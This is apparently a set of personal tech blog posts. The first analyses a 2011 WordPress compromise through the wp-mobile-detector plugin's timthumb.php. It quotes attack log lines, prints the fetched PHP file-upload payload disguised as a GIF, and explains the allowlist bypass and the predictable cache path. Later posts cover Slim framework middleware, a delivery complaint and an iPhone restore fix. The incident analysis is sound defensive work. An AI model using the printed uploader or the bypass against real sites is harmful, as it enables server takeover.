Author: David Goodwin

It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}

A customer’s web server has the following requests in it :

[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.

Making a request to superflickr.com.nu shows  :

$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;<?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?>;

Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :

$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);

But it’s check is somewhat flawed –

                        
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}

Hence, superflickr.com.nu escapes through, as it contains the string ‘flickr.com’.

And then, because it performs an ‘md5’ of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the ‘cache’ directory would have solved this.

Alternatively the developers could have bothered to check the extension of the URL being retrieved….

The SlimFramework is a ‘minimal’ PHP5 framework. We’re using it in one project, integrating with Smarty, Propel and the Zend Framework (as I don’t like Zend_View, it didn’t seem worth using Zend_Controller_Action, although what we do have is very similar to one).

Anyway, when creating your front controller in Slim, you can define ‘middleware‘ (i.e. call back functions) which are executed when a route matches and runs – before your actual ‘controller’ code.

So for example, a simple route would look like :

Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );

With additional ‘middleware’ it could look like :

Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );

(Obviously in a real application you wouldn’t have echo statements in the front controller class)

The $caching_middleware could look like :

$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' => true,
              'default_options' => array('cache' => true,
                                         'cache_with_get_parameters' => false,
                                         'cache_with_session_variables' => true,
                                         'cache_with_cookie_variables' => true),
        ));
    $cache->start();
};

(I’ve left the debug_header in, so it’s obvious when it’s working 🙂 ).

And $authentication_check is another call back – this time presumably checking $_SESSION for something….

5-6 weeks ago ago I ordered two 24″ widescreen monitors from EBuyer – when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something… but it didn’t.

On seeing JailBreakMe has released a new version – which allows me to upgrade to the 4.3.3 firmware – I thought I’d update my iPhone4 – but annoyingly kept getting the following error message (whether doing an update or a full restore) :

“The iphone could not be restored an unknown error occurred 1013”

In my case, the fix was to edit /etc/hosts (OSX) and comment out / remove an entry for :

74.208.10.249 gs.apple.com

I have a feeling this was put there by TinyUmbrella or something, but nevermind. It works now.